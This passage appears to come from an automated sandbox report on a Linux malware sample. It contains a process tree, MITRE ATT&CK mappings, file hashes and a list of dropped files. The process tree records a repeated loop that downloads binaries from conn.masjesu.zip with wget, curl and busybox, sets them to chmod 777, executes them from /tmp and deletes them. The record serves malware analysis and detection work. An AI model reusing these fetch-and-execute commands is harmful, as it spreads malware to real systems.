  ./OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  2⤵
  PID:969
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  2⤵
  - System Network Configuration Discovery
  PID:970
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  2⤵
  - System Network Configuration Discovery
  PID:973
- /bin/chmod
  chmod 777 DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  ./DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  2⤵
  PID:976
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  2⤵
  - System Network Configuration Discovery
  PID:977
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:978
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  2⤵
  - System Network Configuration Discovery
  PID:980
- /bin/chmod
  chmod 777 lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  2⤵
  - File and Directory Permissions Modification
  PID:981
- /tmp/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  ./lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  2⤵
  - Executes dropped EXE
  PID:982
- /bin/rm
  rm lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  2⤵
  PID:983
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  2⤵
  - System Network Configuration Discovery
  PID:984
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:985
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  2⤵
  PID:987
- /bin/chmod
  chmod 777 YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  2⤵
  - File and Directory Permissions Modification
  PID:988
- /tmp/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  ./YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  2⤵
  - Executes dropped EXE
  PID:989
- /bin/rm
  rm YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  2⤵
  PID:990
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  2⤵
  - System Network Configuration Discovery
  PID:991
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:992
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  2⤵
  - System Network Configuration Discovery
  PID:994
- /bin/chmod
  chmod 777 WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  2⤵
  - File and Directory Permissions Modification
  PID:995
- /tmp/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  ./WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  2⤵
  - Executes dropped EXE
  PID:996
- /bin/rm
  rm WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  2⤵
  PID:997
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  2⤵
  - System Network Configuration Discovery
  PID:998
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:999
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  2⤵
  PID:1001
- /bin/chmod
  chmod 777 4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  2⤵
  - File and Directory Permissions Modification
  PID:1002
- /tmp/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  ./4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  2⤵
  - Executes dropped EXE
  PID:1003
- /bin/rm
  rm 4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  2⤵
  PID:1004
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  2⤵
  - System Network Configuration Discovery
  PID:1005
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1006
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  2⤵
  - System Network Configuration Discovery
  PID:1008
- /bin/chmod
  chmod 777 QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  2⤵
  - File and Directory Permissions Modification
  PID:1009
- /tmp/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  ./QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  2⤵
  - Executes dropped EXE
  PID:1010
- /bin/rm
  rm QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  2⤵
  PID:1011

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

ioc	pid	Process
/tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS	740	dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
/tmp/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv	747	rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
/tmp/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno	758	cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
/tmp/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh	787	OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
/tmp/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE	813	DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
/tmp/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT	823	lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
/tmp/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF	844	YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
/tmp/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY	867	qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
/tmp/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl	874	4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
/tmp/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r	881	QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
/tmp/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU	888	WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
/tmp/AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg	898	AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
/tmp/QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo	905	QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
/tmp/GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n	912	GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
/tmp/GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n	919	GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
/tmp/AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg	926	AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
/tmp/QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo	933	QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
/tmp/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno	940	cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
/tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS	947	dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
/tmp/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv	954	rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
/tmp/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY	961	qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
/tmp/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh	968	OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
/tmp/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE	975	DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
/tmp/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT	982	lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
/tmp/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF	989	YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
/tmp/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU	996	WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
/tmp/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl	1003	4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
/tmp/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r	1010	QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r